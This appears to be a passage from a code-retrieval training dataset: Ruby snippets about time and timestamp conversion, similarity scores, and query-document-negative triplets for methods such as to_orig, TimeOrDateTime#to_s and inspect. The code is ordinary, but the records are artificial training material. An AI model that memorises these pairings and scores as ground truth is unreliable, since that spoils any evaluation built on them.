"def sec\n if @time\n @time.sec\n elsif @datetime\n @datetime.sec\n else\n to_time.sec\n end\n end",
"def sec\n if @time\n @time.sec\n elsif @datetime\n @datetime.sec\n else\n to_time.sec\n end\n end",
"def timestamp_to_time_slow num\n AssumedTimezone.utc_to_local(Time.at(num / 1000.0, num % 1000).utc)\n end",
"def timestamp\n DateTime.now.strftime(\"%Y%m%d%H%M%S\")\n end",
"def format_timestamp(datetime)\n datetime.getlocal.to_formatted_s(:long_ordinal)\n end",
"def to_i()\n @sec.to_i ;\n end",
"def get_timestamp(string)\n DateTime.parse(string).to_i\n end",
"def to_time\n Chronic.parse self.timestamp\n end",
"def time_sec; Time.now.sec; end",
"def gettimetag\n ttag = to_i(@timetag)\n return ttag\n end",
"def current_timestamp\n @c_tstmp ||= current_time.to_i\n end",
"def epoch_time\n return time + epoch\n end",
"def to_time\n # Thread-safety: It is possible that the value of @time may be\n # calculated multiple times in concurrently executing threads. It is not\n # worth the overhead of locking to ensure that @time is only\n # calculated once.\n\n unless @time\n if @timestamp\n @time = Time.at(@timestamp).utc\n else\n # Avoid using Rational unless necessary.\n u = usec\n s = u == 0 ? sec : Rational(sec * 1000000 + u, 1000000)\n @time = Time.new(year, mon, mday, hour, min, s, offset)\n end\n end\n\n @time\n end",
"def translate_timestamp(timestamp)\n # seconds -> milliseconds\n timestamp.to_i * 1000\n end",
"def convert_time(stime)\n begin\n if stime\n stime =~ /^(\\d{4})(\\d{2})(\\d{2})(\\d{2})(\\d{2})(\\d{2})/;\n return Time.gm($1,$2,$3,$4,$5,$6).to_i\n else\n return 0\n end\n rescue\n return 0\n end\nend",
"def convert_time(stime)\n begin\n if stime\n stime =~ /^(\\d{4})(\\d{2})(\\d{2})(\\d{2})(\\d{2})(\\d{2})/;\n return Time.gm($1,$2,$3,$4,$5,$6).to_i\n else\n return 0\n end\n rescue\n return 0\n end\nend",
"def time\n Time.at(data[\"time_ms\"].to_f/1000)\n end",
"def generation_time\n Time.at(data.unpack(\"N\")[0]).utc\n end",
"def generation_time\n Time.at(data.unpack(\"N\")[0]).utc\n end",
"def time_from_milli_epoch(num)\n Time.at(num/1000.0)\n end",
"def to_unix(time)\n month = zero(time.month)\n day = zero(time.day)\n hour = zero(time.hour)\n min = zero(time.min)\n year = time.year % 2000\n\n \"#{month}#{day}#{hour}#{min}#{year}\"\nend",
"def to_local_time\n Time.local(1970, 1, 1, @hour, @minute, @second)\n end",
"def get_timestamp\n Time.now.strftime('%d %B %Y %H:%M')\n end",
"def current_timestamp\n Time.now.to_i\n end",
"def sent_at_seconds_since_epoch\n Time.current.utc.to_i\n end",
"def time_str\n Time.at(time[0..-4].to_f + time[-3..-1].to_f / 1000)\n .strftime(\"%M:%S.%L\")\n end",
"def norm(time)\n Time.new(time.to_i)\n end",
"def timestamp\n (Time.now.to_f * 1000).ceil.to_s[-5..-1]\nend"
] |
[
"0.7813479",
"0.7789028",
"0.75574607",
"0.74244523",
"0.74239284",
"0.739586",
"0.7341508",
"0.73102707",
"0.72724456",
"0.72641015",
"0.72141457",
"0.7181819",
"0.71782017",
"0.71780354",
"0.7154653",
"0.71403086",
"0.7126736",
"0.71080506",
"0.71015435",
"0.7087582",
"0.7055533",
"0.7055533",
"0.7055533",
"0.70246583",
"0.70039874",
"0.6924214",
"0.6909747",
"0.68760455",
"0.6866336",
"0.6849007",
"0.6820422",
"0.6819071",
"0.6797622",
"0.67226696",
"0.6711723",
"0.66742414",
"0.66686887",
"0.6635254",
"0.6630293",
"0.6605066",
"0.6584389",
"0.6570635",
"0.6567762",
"0.6565095",
"0.65222806",
"0.65198064",
"0.65151083",
"0.6508007",
"0.6502928",
"0.64934635",
"0.6481491",
"0.6481491",
"0.64793104",
"0.64781666",
"0.64781666",
"0.64574337",
"0.6453033",
"0.6443765",
"0.6443582",
"0.6440202",
"0.6419515",
"0.6415759",
"0.6399206",
"0.6381433",
"0.63641816",
"0.63641655",
"0.6362956",
"0.6350324",
"0.63431907",
"0.634196",
"0.63383347",
"0.63331103",
"0.63331103",
"0.63331103",
"0.63256913",
"0.6309595",
"0.6306615",
"0.6290911",
"0.62859815",
"0.62823206",
"0.6282293",
"0.62812304",
"0.6278851",
"0.6276127",
"0.622941",
"0.62227446",
"0.62206644",
"0.62206644",
"0.621372",
"0.6202685",
"0.6202685",
"0.6202231",
"0.6192257",
"0.61849713",
"0.6182345",
"0.6181631",
"0.6179811",
"0.6172217",
"0.6166875",
"0.6157268"
] |
0.75329554
|
3
|
Returns the time as the original time passed to new.
|
def to_orig
@orig
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_time()\n #This is a stub, used for indexing\n end",
"def to_time\n self\n end",
"def time\n return Time.new(@t_year, @t_month, @t_day, @t_hour, @t_min, @t_sec)\n end",
"def get_time\n Time.new.strftime(\"%Y-%m-%d %H:%M:%S\")\n end",
"def time=(new_time)\n @time = new_time\n end",
"def from_now\n #if time.respond_to? :unix_timestamp\n # to_i - Time.unix_timestamp\n #else\n self - self.class.now\n #end\n end",
"def time\n Time.now.localtime + self.time_offset\n end",
"def get_time\n\t\[email protected]\n\tend",
"def time\n @originalTime.gsub(/[ (AM|PM)]/, '').split(':').map(&:to_f)\n end",
"def now\n VoltTime.new\n end",
"def new_timestamp # :nodoc:\n @properties['timestamp'].dup\n end",
"def time\n super\n end",
"def GetCurrDateTime\n\ttime1 = Time.new\n\tputs time1\n\tputs time1.inspect\nend",
"def mock_current_time(new_time)\n time_travel_offsets.push(Time.now - new_time)\n end",
"def to_time\n ::Time.at(self.getTime/1000)\n end",
"def set_time(time)\n @time = time.getutc\n return self\n end",
"def time\n return @time\n end",
"def base_time\n BASE_TIME\n end",
"def current_time\n @current_time\n end",
"def current_time\r\n return @owner.timestamp.to_i - @start.to_i\r\n end",
"def time\n @time\n end",
"def time_now\n ::Time.now\n end",
"def new_duration\n @duration\n end",
"def time\n DateTime.now.strftime(TIME_FORMAT)\n end",
"def to_time\n raise NotImplementedError\n end",
"def now\n convert(Time.now)\n end",
"def time_class; end",
"def prep_time_passed\n return \"7:34\"\n end",
"def get_date()\n @time\n end",
"def current_time\n \"#{hour}:#{minute}:#{second}\"\n end",
"def from(time)\n time + @length\n end",
"def from(time)\n time + @length\n end",
"def from_now(t = Time.now); t + self; end",
"def from_now(t = Time.now); t + self; end",
"def time_with_offset(time, new_offset)\n time = time.getutc + new_offset\n nsec_part = Rational(time.nsec, 1_000_000_000)\n Time.new(time.year, time.mon, time.mday, time.hour, time.min, time.sec + nsec_part, new_offset)\n end",
"def time\n Time.now.to_f\n end",
"def current_time\n @c_time ||= Time.now\n end",
"def current_time\n clock.now.to_f\n end",
"def current_time\n Time.now.strftime('%I:%M:%S %p')\n end",
"def current_time\n @c_t ||= Time.now\n end",
"def timestamp # :nodoc:\n @timestamp.dup\n end",
"def time\n end_time - start_time\n end",
"def s_time\n to_form_time(start_time.getlocal)\n end",
"def modify_time(); @modify_time ||= Time.now; end",
"def to_time\n if_period(super) do |p,t|\n # Ruby 2.4.0 changed the behaviour of to_time so that it preserves the\n # offset instead of converting to the system local timezone.\n #\n # When self has an associated TimezonePeriod, this implementation will\n # preserve the offset on all versions of Ruby.\n LocalTime.at(t.to_i, t.subsec * 1_000_000).localize(p)\n end\n end",
"def current_time\n Time.now\n end",
"def base\n @base_time\n end",
"def current_time\n @definition.current_time\n end",
"def to_time\n value\n end",
"def time\n Time.now.strftime(\"%Y/%m/%d %H:%M:%S\")\n end",
"def ctime\n end",
"def time # :nodoc:\n @time ||= day_fraction_to_time day_fraction\n end",
"def time\n TimeConvert.time_difference_to_s(Time.zone.now - self.created_at)\n end",
"def current_time\n plan_rebuilder.current_time\n end",
"def time\n @time ||= incorporate_utc_offset(@utc, utc_offset)\n end",
"def current_time\n begin\n Time.parse(self.localtime)\n rescue\n nil\n end\n end",
"def now\n @clock\n end",
"def time\n start.try(:to_time).try(:strftime, '%-l:%M %P')\n end",
"def time\n #Parse the raw time into a binary time structure...\n time = send_request(Packets::RequestTime.new)\n\n #And convert that to a ruby time.\n time.to_time()\n end",
"def curent_time\n Time.zone.now.strftime('%l:%M %p')\n end",
"def current_time\n Time.now.strftime(\"%l:%M %p\")\n end",
"def norm(time)\n Time.new(time.to_i)\n end",
"def now\n ::Time.now.to_f\n end",
"def to_time(t=nil)\n t ||=Time.now\n Time.new(t.year,t.month,t.day,@hours,@minutes,0)\n end",
"def old() @time < Time.now.to_f end",
"def time2\n __time = time\n __time && Time.from_apr_time(__time)\n end",
"def local_time\n iso_time\n end",
"def now\n @__space__.now\n end",
"def to_time\n t = ::Time.at utc_reference\n Time.new t.utc\n end",
"def reset_date_for_time time\n string_as_t time_as_s time\n end",
"def initialize( time, make_copy = true )\n \n not_nil( time, \"time\" )\n @time = ( make_copy ? Time.iso8601( time.iso8601( 9 ) ) : time ).utc\n end",
"def time; end",
"def time; end",
"def time; end",
"def time; end",
"def time; end",
"def time; end",
"def time; end",
"def time; end",
"def time; end",
"def relativeTime\n @relativeTime ||= RelativeTime.new(self, :opensAt, :length)\n end",
"def with_timeout( new_timeout )\n\t\t\tcopy = self.clone\n\t\t\tcopy.timeout = new_timeout\n\t\t\treturn copy\n\t\tend",
"def with_timeout( new_timeout )\n\t\t\tcopy = self.clone\n\t\t\tcopy.timeout = new_timeout\n\t\t\treturn copy\n\t\tend",
"def time\n\tTime.new.strftime(\"%k:%M\")\nend",
"def time\n end",
"def now\n Time.now\n end",
"def time\n @time ||= Time.at( timestamp / 1_000_000.0 )\n end",
"def as_of_time\n @_as_of_time\n end",
"def as_of_time\n @_as_of_time\n end",
"def now\n Time.now\n end",
"def now\n Time.now\n end",
"def _path_new\n @_path_new ||= \"#{_name}/#{Time.now.strftime('%FT%T')}\"\n end",
"def sync_time(time)\n Time.local(self.dt.year, self.dt.mon, self.dt.mday, time.hour, time.min, time.sec)\n end",
"def to_time\n\t\tself.offset == 0 ? ::Time.utc_time(year, month, day, hour, min, sec, sec_fraction * (RUBY_VERSION < '1.9' ? 86400000000 : 1000000)) : self\n\tend",
"def time\n Time.now.strftime(\"%m/%d/%Y %H:%M:%S\")\n end",
"def currentTime( )\n dt = Time.new.gmtime.to_datetime()\n currentDate = dt.strftime( \"%s\" ) + \"=\" + dt.strftime( \"%F.%H:%M:%S\" )\n currentDate\n end",
"def adjust_to_noon (time)\n\tnew_time = Time.new(time.year, time.month, time.day) \n\treturn new_time\nend",
"def local_asctime\n @time.getlocal.asctime\n end",
"def remain_time\n rem_time = $time - Time.new\n rem_time.to_i\nend",
"def local_ctime\n @time.getlocal.ctime\n end",
"def restore_times; end"
] |
[
"0.6697649",
"0.6696673",
"0.6617309",
"0.64406425",
"0.64332604",
"0.639077",
"0.6378485",
"0.6371405",
"0.6355255",
"0.6350876",
"0.63389826",
"0.63339496",
"0.63285154",
"0.632278",
"0.6257533",
"0.620928",
"0.6202607",
"0.61927027",
"0.6191294",
"0.6137722",
"0.61349446",
"0.6108473",
"0.61055535",
"0.608098",
"0.6074989",
"0.6073981",
"0.60626185",
"0.60487515",
"0.6038417",
"0.60379493",
"0.6036396",
"0.6036396",
"0.6011678",
"0.6011678",
"0.59675986",
"0.59670264",
"0.5947189",
"0.5923092",
"0.59212977",
"0.5912175",
"0.59003204",
"0.5897203",
"0.5875462",
"0.58730996",
"0.58636713",
"0.5855226",
"0.58534414",
"0.5846815",
"0.5835961",
"0.58342797",
"0.583016",
"0.5829768",
"0.5825727",
"0.5818828",
"0.5815546",
"0.5807858",
"0.5806369",
"0.5803948",
"0.5790482",
"0.5788672",
"0.57857925",
"0.57838607",
"0.577806",
"0.57753146",
"0.57709086",
"0.57691514",
"0.5762631",
"0.5761915",
"0.5760459",
"0.57549775",
"0.57533413",
"0.5751243",
"0.5751243",
"0.5751243",
"0.5751243",
"0.5751243",
"0.5751243",
"0.5751243",
"0.5751243",
"0.5751243",
"0.5749799",
"0.5748765",
"0.5748765",
"0.5748568",
"0.57485455",
"0.5748363",
"0.57364845",
"0.5735989",
"0.5735989",
"0.57353765",
"0.57353765",
"0.5732629",
"0.57315546",
"0.5729111",
"0.5729095",
"0.5728776",
"0.5726916",
"0.57193696",
"0.57172817",
"0.5708891",
"0.5708416"
] |
0.0
|
-1
|
Returns a string representation of the TimeOrDateTime.
|
def to_s
if @orig.is_a?(Time)
"Time: #{@orig.to_s}"
elsif @orig.is_a?(DateTime)
"DateTime: #{@orig.to_s}"
else
"Timestamp: #{@orig.to_s}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def time_s\n time_to_s(time)\n end",
"def to_s\n if @orig.is_a?(Time)\n \"Time: #{@orig.to_s}\"\n elsif @orig.is_a?(DateTime)\n \"DateTime: #{@orig.to_s}\"\n elsif @orig.is_a?(TimestampWithOffset)\n \"TimestampWithOffset: #{@orig.to_s}\"\n else\n \"Timestamp: #{@orig.to_s}\"\n end\n end",
"def time_as_s time\n time.strftime('%H:%M:%S')\n end",
"def to_s\n \"#{time.strftime(\"%Y-%m-%d %H:%M:%S\")} #{formatted_offset(false, 'UTC')}\" # mimicking Ruby Time#to_s format\n end",
"def time_string()\n #Get numerical representations for each value\n @hours = seconds / 60 / 60\n @minutes = (seconds / 60) % 60\n @seconds = seconds % 60\n\n #Convert the values to properly formatted strings\n @hours = padded(@hours)\n @minutes = padded(@minutes)\n @seconds = padded(@seconds)\n \n #return the string\n @hours + ':' + @minutes + ':' + @seconds\n end",
"def date_time_str(time)\n \"#{time.utc.strftime('%Y-%m-%d')}T#{time.utc.strftime('%H:%M:%S.%L')}Z\"\n end",
"def iso_format_time(time)\n return time unless time.is_a? Time or time.is_a? Date\n time = time.getutc if time.is_a? Time\n time = time.new_offset(0) if time.is_a? DateTime\n time.strftime('%Y-%m-%dT%H:%M:%SZ')\n end",
"def time_to_str(dt)\r\n ret = nil\r\n if dt.nil?\r\n ret = \"\"\r\n else\r\n ret = dt.iso8601\r\n ret[10..-1] = \"Z\" if self.allday # yyyy-mm-ddZ\r\n end\r\n ret\r\n end",
"def to_s\n @date_time\n end",
"def to_s()\n \"#{@location}-#{@op}@#{@time.iso8601(9)}\"\n end",
"def time_string\n\n\t\thours = @seconds/3600 #if not an hour will be stored as 0\n\t\tremainder = @seconds%3600 #modulo gives the amount that remains\n\t\tsprintf(\"%02d:%02d:%02d\", hours, remainder/60, remainder%60) #string formatting\n\t\t\n\tend",
"def active_time_to_string\n unless self.active_start_time.nil? and self.active_stop_time.nil?\n timeFormat = \"%H:%M\"\n return self.active_start_time.utc.strftime(timeFormat) + \" - \" + self.active_stop_time.utc.strftime(timeFormat)\n end\n \n return \"\"\n end",
"def as_time( d = nil )\n d = (d || self)\n return '' unless [Time, DateTime].include? d.class\n format = 'time_short'\n I18n.l d, :format => I18n.t( 'time.formats.' + format )\n end",
"def end_time_string\n\t\tend_time.to_s(:time) if end_time\n\tend",
"def as_iso_8601\n htime = self.decompose_as_time\n iso = \"P\"\n htime[:days] && iso += \"#{htime[:days]}D\"\n iso += \"T\"\n htime[:hours] && iso += \"#{htime[:hours]}H\"\n htime[:minutes] && iso += \"#{htime[:minutes]}M\"\n htime[:seconds] && iso += \"#{htime[:seconds]}S\"\n return iso\n end",
"def nice_time\n Time.at(time).utc.strftime('%-M:%Ss')\n end",
"def to_s\n s = @display.strftime(time_format)\n case @display_granularity\n when :ten_minute\n s.chop!\n s << \"~\"\n when :one_hour\n s.chop!\n s.chop!\n s << \"~~\"\n end\n return s\n end",
"def nytimes_time(time, opts={})\n raise ArgumentError.new \"Time or DateTime required\" unless time.is_a?(DateTime) || time.is_a?(Time)\n str = \"\"\n str << time.strftime(\"%l:%M\").strip\n str << time.strftime(\" %p\").sub('PM','p.m.').sub('AM','a.m.') unless opts[:hide_abbreviation]\n str\n end",
"def time_str\n Time.at(time[0..-4].to_f + time[-3..-1].to_f / 1000)\n .strftime(\"%M:%S.%L\")\n end",
"def get_datetime_string(t)\n return t.strftime('%b %d, %Y %I:%M %p')\n end",
"def get_time\n\t\[email protected]\n\tend",
"def end_time_to_s\n\t \tself.end_date.try(:strftime, '%H:%M:%S')\n\t end",
"def windows_time_string(time)\n time.utc.iso8601.gsub(/[-|:|T]/, '').gsub(/Z$/, '.0Z') if time\n end",
"def stringify_times(enumerable)\n enumerable.map{ |v| v.is_a?(Time) ? v.strftime(\"%FT%T%:z\") : v.to_s }\n end",
"def display_datetime(time)\n time.strftime('%e %B, %l:%M%p')\n end",
"def timestring(time)\n time.strftime(\"%Y/%m/%d %H:%M:%S\") + \".#{time.usec}\"[0..3]\n end",
"def time_format\n return @time_format\n end",
"def time_display(datetime)\n datetime.strftime(\"%m/%d/%Y, %l:%M %p\")\n end",
"def datetime_to_string(datetime)\n datetime.strftime(\"%a %b %d, %Y at %H:%M\")\n end",
"def to_s\n \"#{hour.to_s.rjust(2, '0')}:#{minute.to_s.rjust(2, '0')}\"\n end",
"def iso_format(time)\n time.getutc.strftime('%Y-%m-%dT%H:%M:%SZ')\n end",
"def to_s\n if year == 0 and mon == 0 and day == 0\n h = neg ? hour * -1 : hour\n sprintf \"%02d:%02d:%02d\", h, min, sec\n else\n sprintf \"%04d-%02d-%02d %02d:%02d:%02d\", year, mon, day, hour, min, sec\n end\n end",
"def pretty_time\n t = self.start_time\n t.strftime(\"%a, %b %e, %l:%M %p\")\n end",
"def encode_time(time) #:nodoc:\n time.utc.strftime(\"%FT%TZ\")\n end",
"def to_s\n return \"#{location} #{purpose} #{hour} #{min} #{day}\"\n end",
"def to_s\n return \"#{\"%04d\" % @t_year}-#{\"%02d\" % @t_month}-#{\"%02d\" % @t_day} #{\"%02d\" % @t_hour}:#{\"%02d\" % @t_min}:#{\"%02d\" % @t_sec}\"\n end",
"def format(time_or_datetime)\n formatter.call with_offset(time_or_datetime)\n end",
"def to_s()\n \"\\#<TimeDuration %s>\" % timestr() ;\n end",
"def to_s(mode = :normal)\n case mode\n when :db, :rfc822 then utc.to_s(mode)\n else time.to_s(mode)\n end\n end",
"def to_s\n\t\t\treturn \"name: #{name}; start: #{@start_time}; end: #{@end_time};\"\n\t\tend",
"def to_s\n \"%02d:%02d:%02d\" % [@hour, @minute, @second]\n end",
"def time\n DateTime.now.strftime(TIME_FORMAT)\n end",
"def time_string\n hours = @seconds / 3600\n minutes = (@seconds % 3600) / 60\n secs = (@seconds % 3600) % 60\n \n sprintf(\"%02d:%02d:%02d\", hours, minutes, secs)\n end",
"def iso8601_format( time )\n value = apply_utc_offset(time)\n\n str = value.strftime('%Y-%m-%dT%H:%M:%S')\n str << ('.%06d' % value.usec)\n\n offset = value.gmt_offset.abs\n return str << 'Z' if offset == 0\n\n offset = sprintf('%02d:%02d', offset / 3600, offset % 3600 / 60)\n return str << (value.gmt_offset < 0 ? '-' : '+') << offset\n end",
"def to_s\n hours = @hours.to_s\n minutes = @minutes.to_s\n seconds = @seconds.to_s\n millis = @millis.to_s\n if @hours < 10\n hours = '0' + hours\n end\n if @minutes < 10\n minutes = '0' + minutes\n end\n if @seconds < 10\n seconds = '0' + seconds\n end\n if @millis < 10\n millis = '00' + millis\n else\n if @millis < 100\n millis = '0' + millis\n end\n end\n hours + ':' + minutes + ':' + seconds + ',' + millis\n end",
"def time(options = {})\n if @time.is_a?(Time)\n @time.strftime(\"%l#{@time.min > 0 ? \":%M\" : ''}%P\").strip\n else\n nil\n end\n end",
"def stringify_times(obj)\n case obj\n when Hash\n Hash[obj.map { |k,v| [k, stringify_times(v)] }]\n when Array\n obj.map { |v| stringify_times(v) }\n else\n iso_format_time(obj)\n end\n end",
"def dump(value)\n case value\n when ::Time\n value.to_date.to_s\n when ::Date\n value.to_s\n when nil\n nil\n else\n value.to_s\n end\n end",
"def to_string(t)\n t.respond_to?(:getutc) ? t.getutc.strftime(DATE_FORMAT) : t.strftime(DATE_FORMAT)\n end",
"def to_s\n if @am_pm\n display = @current.strftime(\"%I:%M\")\n else\n display = @current.strftime(\"%H:%M\")\n end\n @fuzz.times { display.sub!(/\\d(\\D*)$/, '~\\1') } if @fuzz > 0\n display\n end",
"def in_standard_time\n self.strftime(\"%I:%M %P\")\n end",
"def start_time_to_s\n\t \tself.start_date.try(:strftime, '%H:%M:%S')\n\t end",
"def to_s\n @string || @object.strftime(FORMAT).sub(\"+00:00\", 'Z').sub('.000', '')\n end",
"def to_s\n @string || @object.strftime(FORMAT).sub(\"+00:00\", 'Z').sub('.000', '')\n end",
"def time\n\t\tI18n.l(moment, format: :time_only)\n\tend",
"def time_string(seconds)\n Time.at(seconds).utc.strftime(\"%H:%M:%S\")\nend",
"def time_as_human\n return Knj::Strings.secs_to_human_time_str(self.time_total, :secs => false)\n end",
"def type_literal_generic_only_time(column)\n :time\n end",
"def time_only(person_or_type = nil)\n time_detail(:time_only => true, :audience => person_or_type)\n end",
"def common_timestring\n \"%I:%M%p %Z %a %d %B %Y\"\n end",
"def format_time(time)\n strftime_preset = '%Y-%m-%dT%l:%M:%S%z'\n time.strftime(strftime_preset)\n end",
"def inspect\n if @_st_is_gmt\n strftime(\"%a %b %d %H:%M:%S UTC %Y\")\n else\n strftime(\"%a %b %d %H:%M:%S %z %Y\")\n end\n end",
"def proper_time(time)\n\tTime.at(time).gmtime.strftime('%R:%S')\nend",
"def type\n 'Edm.Time'\n end",
"def to_s\n format('%<hours>02dh%<minutes>02dm', hours: @hours, minutes: @minutes)\n end",
"def to_s(*args)\n if args.empty?\n strftime('%H:%M:%S')\n else\n # Superclass may have defined a method that takes a format string,\n # and we shouldn't override in that case.\n super\n end\n end",
"def time_string(time)\n\th = time/3600.to_i\t\t# Heures\n\tm = time/60.to_i-h*60\t\t# Minutes\n\ts = time - h*3600 - m*60\t# Secondes\n\th=pres(h)\n\tm=pres(m)\n\ts=pres(s)\n\treturn [h,m,s].join(\":\")\nend",
"def time_string(time)\n h = time/3600.to_i # heure\n m = time/60.to_i-h*60 # minute\n s = time - h * 3600 - m * 60 # seconde\n h=pres(h)\n m=pres(m)\n s=pres(s)\n return [h,m,s].join(\":\")\n end",
"def format_parameter(parameter)\n parameter.instance_of?(Time) ? iso_format(parameter) : parameter.to_s\n end",
"def type_literal_generic_time(column)\n column[:only_time] ? :time : :datetime\n end",
"def to_s\n @string || @object.strftime(FORMAT)\n end",
"def date_and_time(options = {})\n @time.is_a?(Time) ? \"#{date(options)} at #{time(options)}\" : date(options = {})\n end",
"def display_time(time)\n time.strftime(\"%Y-%m-%d %H:%M\") rescue \"-\"\n end",
"def display_time(time)\n time.strftime(\"%Y-%m-%d %H:%M\") rescue \"-\"\n end",
"def display_time(time)\n time.strftime(\"%Y-%m-%d %H:%M\") rescue \"-\"\n end",
"def format_time(time)\n return time.strftime(\"%l:%M%p\")\n end",
"def to_s\n '%02d:%02d' % [(@hours % 24), @minutes]\n end",
"def to_s\n dte = self.date.strftime('%b %d %I:%M %P')\n des = self.description\n loc = self.location\n \"#{dte} #{des} #{loc}\"\n end",
"def friendly_time\n\t\t@event_info.each do |event_hash|\n\t\t\tdatetime = event_hash[\"datetime\"].strftime(\"%A, %d %b %Y %l:%M %p\")\t\n\t\tend\n\tend",
"def iso\n to_time.utc.iso8601(3) #include milliseconds\n end",
"def time_format(time)\n\t if time\n\t time.strftime(\"%d/%m/%Y %H:%M\")\n\t end\n\tend",
"def format_time(time, opts = {})\n format = opts[:include_timezone] ? \"%H:%M%:z\" : \"%H:%M\"\n if time.is_a? String\n case time\n when 'now'\n return DateTime.now.strftime format\n else\n unless time =~ /^\\d{2}\\:\\d{2}$/\n raise Fitgem::InvalidTimeArgument, \"Invalid time (#{time}), must be in HH:mm format\"\n end\n timezone = DateTime.now.strftime(\"%:z\")\n return opts[:include_timezone] ? [ time, timezone ].join : time\n end\n elsif DateTime === time || Time === time\n return time.strftime format\n else\n raise Fitgem::InvalidTimeArgument, \"Date used must be a valid time object or a string in the format HH:mm; supplied argument is a #{time.class}\"\n end\n end",
"def formatted_time\n start_time = \"#{self.start_time.strftime(\"%l:%M\")} #{self.start_time.strftime(\"%p\")}\"\n end_time = \"#{self.end_time.strftime(\"%l:%M\")} #{self.end_time.strftime(\"%p\")}\"\n \"#{start_time} - #{end_time}\"\n end",
"def get_formatted_timestamp()\n return Time.now.iso8601.to_s\n end",
"def time\n start.try(:to_time).try(:strftime, '%-l:%M %P')\n end",
"def time\n \"#{start_time.strftime('%I:%M %p')} - #{end_time.strftime('%I:%M %p')}\"\n end",
"def time\n \"#{start_time.strftime('%I:%M %p')} - #{end_time.strftime('%I:%M %p')}\"\n end",
"def ts_to_time_str(ts)\n return '' if ts == nil\n gm_to_local(ts).strftime('%I:%M:%S%p').downcase\n end",
"def format_date_time(date_time)\n if defined?(ActiveSupport)\n date_time.strftime(DATE_TIME_FORMAT)\n else\n date_time.inspect\n end\n end",
"def tt(time, format=:short); '13:37'; end",
"def display_time(time_type, time)\n message = Time.new.strftime('%H:%M:%S') + \" #{time_type} \"\n message += time.days.positive? ? \"#{time.days} day, \" : ''\n message.insert(message.length - 2, 's') if time.days > 1\n message += time.hours.positive? ? \"#{time.hours}:#{time.minutes}\" : \"#{time.minutes} min\"\n puts message\nend",
"def get_time\n Time.new.strftime(\"%Y-%m-%d %H:%M:%S\")\n end",
"def to_s_for_cap\n to_datetime.to_s_for_cap\n end",
"def datetime\n return \"\" if self.date.nil?\n self.date.iso8601\n end",
"def datetime\n return \"\" if self.date.nil?\n self.date.iso8601\n end",
"def inspect\n \"#{time.strftime(\"%Y-%m-%d %H:%M:%S\")} #{period.abbreviation}\"\n end",
"def GetCurrentFormattedTimeForDiagLogs()\n Time.now.utc.strftime(\"%Y-%m-%dT%H:%M:%S.%6NZ\")\n end",
"def GetCurrentFormattedTimeForDiagLogs()\n Time.now.utc.strftime(\"%Y-%m-%dT%H:%M:%S.%6NZ\")\n end",
"def to_s(pretty=true)\n d, h, m, s, ms = elapsed\n e_t = (d > 0) ? \"#{d.to_s}d \" : ''\n if pretty\n e_t += ('%02u:' % [h]) if (d + h) > 0\n e_t += ('%02u:' % [m]) if (d + h + m) > 0\n e_t += '%02u.%03u' % [s, ms]\n else\n e_t << '%02u:%02u:%02u.%03u' % [h,m,s, ms]\n end\n end"
] |
[
"0.7358139",
"0.7323617",
"0.70119977",
"0.6801877",
"0.6744071",
"0.66936815",
"0.6673014",
"0.6617359",
"0.6612761",
"0.66068757",
"0.6576527",
"0.65509456",
"0.65307695",
"0.65233666",
"0.64921236",
"0.6470404",
"0.64526165",
"0.64479065",
"0.64398044",
"0.643596",
"0.6429284",
"0.6423356",
"0.64226764",
"0.63820845",
"0.6372576",
"0.63566977",
"0.6345853",
"0.6345827",
"0.63367075",
"0.63105416",
"0.62957937",
"0.628941",
"0.62830794",
"0.628199",
"0.6266809",
"0.6233044",
"0.6230058",
"0.62217253",
"0.62171793",
"0.62132466",
"0.6199574",
"0.6169611",
"0.61681014",
"0.61658853",
"0.61417997",
"0.6125103",
"0.6101154",
"0.607848",
"0.6063902",
"0.60608363",
"0.60586315",
"0.60523385",
"0.6041005",
"0.6041005",
"0.6037223",
"0.60352784",
"0.603344",
"0.6015908",
"0.60076565",
"0.60071003",
"0.6006507",
"0.6006484",
"0.59921217",
"0.5978191",
"0.59778845",
"0.59757936",
"0.5975481",
"0.59689003",
"0.5952992",
"0.5947969",
"0.59462625",
"0.59395814",
"0.5934942",
"0.5934942",
"0.5934942",
"0.59340274",
"0.5931638",
"0.59203434",
"0.59187275",
"0.59119105",
"0.5906865",
"0.58970934",
"0.58926016",
"0.58887523",
"0.5888608",
"0.58872813",
"0.58872813",
"0.58851427",
"0.58723074",
"0.58651364",
"0.5862029",
"0.5858619",
"0.58526593",
"0.5839382",
"0.5839382",
"0.5838787",
"0.58348405",
"0.58348405",
"0.5823246"
] |
0.74946856
|
1
|
Returns internal object state as a programmerreadable string.
|
def inspect
"#<#{self.class}: #{@orig.inspect}>"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_s\n \"#{name}#{state}\"\n end",
"def to_pretty_s\n \"#{type}:#{name} is #{state}\"\n end",
"def to_s\n \"state: #{@state}, line: #{@line_counter}, file: #{@file_name}\"\n end",
"def inspect\n \"#{name}=#{state.inspect} #{location}\"\n end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect\n\t\treturn %{#<%s:0x%0x (%s)>} % [\n\t\t\tself.class.name,\n\t\t\tself.object_id * 2,\n\t\t\tself.component,\n\t\t]\n\tend",
"def to_s\n # access states saved in instance variables with respective getter methods\n \"This is a GoodDog named #{name} who is #{age} years old in dog years. \" \\\n \"#{name} weighs #{weight} and is #{height} tall.\"\n end",
"def state_str\n VM_STATE[state]\n end",
"def state_str\n VM_STATE[state]\n end",
"def inspect\n \"<#{self.class} #{'%012o' % internal_value}>\"\n end",
"def human_readable_state\n hash = {}\n @state.dup.each do |c, v|\n hash[Dictionary.command_to_name(c).to_s] = (Dictionary.command_value_to_value_name(c, v) || v.to_s).to_s\n end\n hash\n end",
"def inspect\n\t\t\treturn %Q{#<%s:0x%0x \"%s\">} % [\n\t\t\t\tself.class.name,\n\t\t\t\tself.object_id * 2,\n\t\t\t\tself.to_s,\n\t\t\t]\n\t\tend",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def state\n object.human_state_name\n end",
"def inspect\n \"#<#{self.class.name}:0x#{object_id.to_s(16)}>\"\n end",
